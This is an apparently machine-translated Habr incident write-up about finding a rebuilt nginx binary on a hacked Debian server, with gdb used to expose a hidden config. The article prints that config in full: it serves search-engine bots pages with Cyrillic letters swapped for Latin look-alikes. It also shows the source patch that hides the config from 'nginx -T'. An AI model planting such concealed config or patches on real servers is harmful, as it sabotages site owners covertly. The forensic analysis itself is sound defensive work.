Кога „а“ не е еднакво на „а“. На патеката на хакирање

На еден од моите пријатели му се случи најнепријатна приказна. Но, колку што се покажа непријатно за Михаил, тоа беше исто толку забавно за мене.

Морам да кажам дека мојот пријател е доста UNIX-корисник: може самиот да го инсталира системот mysql, PHP и направете едноставни поставки nginx.
И тој има десетина или еден и пол веб-страници посветени на градежни алатки.

Еден од овие страници посветени на моторни пили се наоѓа цврсто на врвот на пребарувачите. Овој сајт е некомерцијален рецензент, но некој доби навика да го напаѓа. Тоа DDoS, па брутална сила, па пишуваат непристојни коментари и праќаат злоупотреби до хостингот и до РКН.
Одеднаш, сè се смири и ова смиреност се покажа дека не е добро, а страницата почна постепено да ги напушта првите редови на резултатите од пребарувањето.

Кога „а“ не е еднакво на „а“. Во пресрет на хакирање

Тоа беше поговорка, а потоа самата приказна на администраторот.

Беше пред спиење кога телефонот заѕвони: „Сан, нема ли да го погледнеш мојот сервер? Ми се чини дека бев хакиран, не можам да докажам, но чувството не ме остави веќе трета недела. Можеби е само време да се лекувам за параноја?

Она што следеше беше половина час дискусија која може да се сумира на следниов начин:

  • почвата за хакирање беше доста плодна;
  • напаѓачот може да добие суперкориснички права;
  • нападот (ако се случил) бил насочен конкретно на оваа локација;
  • проблематичните области се коригирани и само треба да разберете дали имало пенетрација;
  • хакирањето не можеше да влијае на кодот на страницата и базите на податоци.

Во однос на последната точка.

Кога „а“ не е еднакво на „а“. Во пресрет на хакирање

Само белата фронтална IP IP гледа кон светот. Нема размена помеѓу заднините и предниот дел освен http(s), корисниците/лозинките се различни, не се разменети клучеви. На сиви адреси, сите порти освен 80/443 се затворени. Белите IP-адреси им се познати само на двајца корисници, на кои Михаил целосно им верува.

Инсталиран на предниот дел Debian 9 и до моментот на упатување на повикот, системот е изолиран од светот со надворешен заштитен ѕид и запрен.

„Добро, дај ми пристап“, решавам да го одложам спиењето на еден час. „Ќе видам со свои очи“.

Еве и понатаму:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Во потрага по можен хакирање

Го стартувам серверот, прво внатре режим на спасување. Ги монтирам дисковите и ги прелистувам автор-трупци, Историја, системски дневници итн., ако е можно, ги проверувам датумите на создавање на датотеката, иако разбирам дека нормален крекер би се „избришал“ по себе, а Миша веќе се „газел“ многу додека се барал .

Започнувам во нормален режим, сè уште не разбирам што да барам, ги проучувам конфигурациите. Како прво, ме интересира nginx бидејќи, генерално, нема ништо друго на предниот дел освен тоа.
Конфигурациите се мали, добро структурирани во десетина датотеки, само ги разгледувам мачка'ох еден по еден. Се чини дека сè е чисто, но никогаш не се знае дали сум пропуштил нешто вклучуваат, дозволете ми да направам целосна листа:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Не разбрав: „Каде е огласот?

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Второто прашање е додадено на прашањето на списокот: „Зошто толку древна верзија на nginx?

Покрај тоа, системот верува дека е инсталирана најновата верзија:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Јас се јавувам:
- Миша, зошто повторно се собра nginx?
- Чекај, јас дури и не знам како да го направам ова!
- Добро, оди на спиење...

Nginx тој е јасно обновен и излезот од огласот кој користи „-T“ е скриен со причина. Веќе нема сомнежи за хакирање и можете едноставно да го прифатите и (бидејќи Миша и онака го замени серверот со нов) да го сметате проблемот решен.

И навистина, бидејќи некој ги доби правата коренАх, тогаш има смисла само да се направи повторно инсталирање на системот, и бескорисно беше да се бара што не е во ред таму, но овој пат љубопитноста го победи сонот. Како да дознаеме што сакале да сокријат од нас?

Ајде да се обидеме да следиме:

$ strace nginx -T

Гледаме, јасно е дека нема доволно линии во трагата а ла

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Само за забава, ајде да ги споредиме наодите.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Мислам дека е дел од кодот /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

беше доведен во форма:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

или

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

затоа листата по „-T“ не се прикажува.

Но, како можеме да ја видиме нашата конфигурација?

Ако мојата мисла е точна и проблемот е само во променливата ngx_dump_config ајде да се обидеме да го инсталираме користејќи гдб, за среќа има клуч --со-цц-опт -g присутни и се надеваат дека оптимизацијата -О2 нема да ни наштети. Во исто време, бидејќи не знам како ngx_dump_config може да се обработи во случај „Т“:, нема да го нарекуваме овој блок, туку ќе го инсталираме користејќи го случај 't':

Зошто можете да користите '-t' како и '-T'Обработка на блокови if (ngx_dump_config) се случува внатре if (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Се разбира, ако кодот се смени во овој дел, а не во случај „Т“:, тогаш мојот метод нема да работи.

Тестирајте nginx.confОткако веќе го решивме проблемот експериментално, беше утврдено дека е потребна минимална конфигурација за да работи малициозниот софтвер nginx тип:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Ќе го користиме за краткост во статијата.

Стартувајте го дебагерот

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Чекорите:

  • поставете точка на прекин во функцијата главна ()
  • стартувајте ја програмата
  • сменете ја вредноста на променливата што го одредува излезот на конфигурацијата ngx_dump_config=1
  • продолжи/заврши ја програмата

Како што можеме да видиме, вистинската конфигурација се разликува од нашата, избираме паразитско парче од него:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ајде да погледнеме што се случува овде по ред.

Одлучен Корисник агент's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Страниците за услуги се исклучени WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

И за оние кои потпаѓаат под двата горенаведени услови

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

во текстот HTML-страниците се менуваат 'О' на 'о' и 'А' на „а“:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Така е, единствената суптилност е тоа 'а' != 'а' како и 'о' != 'о':

Кога „а“ не е еднакво на „а“. Во пресрет на хакирање

Така, ботовите на пребарувачите добиваат, наместо нормален 100% кириличен текст, изменето ѓубре разредено со латиница „а“ и 'о'. Не се осмелувам да разговарам за тоа како ова влијае на SEO, но малку е веројатно дека таков збир на букви ќе има позитивно влијание врз позициите во резултатите од пребарувањето.

Што да кажам, момци со имагинација.

референци

Дебагирање со GDB
gdb (1) - Линукс човек страница
strace (1) - Линукс човек страница
Nginx - Модул ngx_http_sub_module
За пили, моторни пили и електрични пили

Извор: www.habr.com

Додадете коментар